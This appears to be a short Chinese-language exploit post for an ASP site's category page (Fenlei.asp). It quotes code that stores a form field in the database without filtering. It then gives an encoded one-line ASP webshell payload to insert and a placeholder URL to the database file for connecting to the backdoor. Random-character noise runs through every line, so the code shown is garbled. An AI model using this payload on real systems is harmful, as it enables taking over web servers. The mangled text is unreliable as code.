'Fenlei.asp $ ? L( |+ r- P0 C% }. z2 e
7 B% x# W i8 _7 B. {7 B! @
IF Request.QueryString("Action")="del" Then
) A5 S! |1 A! q. `. EID=Request.QueryString("ID")
7 H7 u$ Y/ H: t, V) x4 r% gIF Countss ("tui","Fenlei",ID )<>0 then
$ Z; ?; o! c( T+ }'略 7 b: R) ?& {4 e& b7 |
IF Request.QueryString("Action")="Add" Then 9 f+ ? y* w" x' n8 ^& i6 {
Tname=Request.Form("Typename")
! ]2 x3 |5 a2 A7 }$ KSet Rs=Server.CreateObject("adodb.Recordset")
. g' v, j4 W1 v" s# o/ F8 c/ D4 Y/ p; xSql="Select * From Fenlei Order by id Desc "
E' ]" G& } i! [Rs.Open Sql,Conn,1,3 V; U) f/ R* k S! l
Rs.Addnew ; B) b" z1 p$ J. ?6 b$ C+ z+ R
Rs("Typename")=Tname
# e+ A8 a+ T+ @: M$ v8 r9 y'略
W G& h; |3 t! ISet Rs=Server.CreateObject("adodb.Recordset")
; l7 w9 ^. ]" h# S+ c* j* U" QSql="Select * From Fenlei Order by id Desc " 5 s! I* G( h- O
Rs.Open Sql,Conn,1,1
/ c- l5 R, g( W! \'略
5 r9 n: t( [0 R& C%>
( P m( w* q/ d+ } 2 N4 r' q" X/ @% q
0 V* e/ T3 }. K' b% s3 J& O Y / a( S' y- w: W6 Q. g- q9 M
没有过滤,直接写入数据库。. Q" d' R8 [* c- Y
. G! [& s7 g5 t+ k/ f5 m+ G- @利用方法:
; u/ c& b, j5 `: \# `8 O 2 F7 k4 ?0 H0 N7 X; l/ l
插入:┼攠數畣整爠煥敵瑳∨≡┩>* S3 \0 q% b+ J
) K% m) P; ^" K0 X0 f" L$ m1 T + n1 q0 {) x+ `$ R* Q
连接: http://www.xxx.com/###tongbaner.asa 9 S* e6 r# ^, j
'默认安装文件:
, y! R! }- S9 @% b+ y! |' X'install.asp7 {1 N; S9 c7 @5 `4 @& H* K
|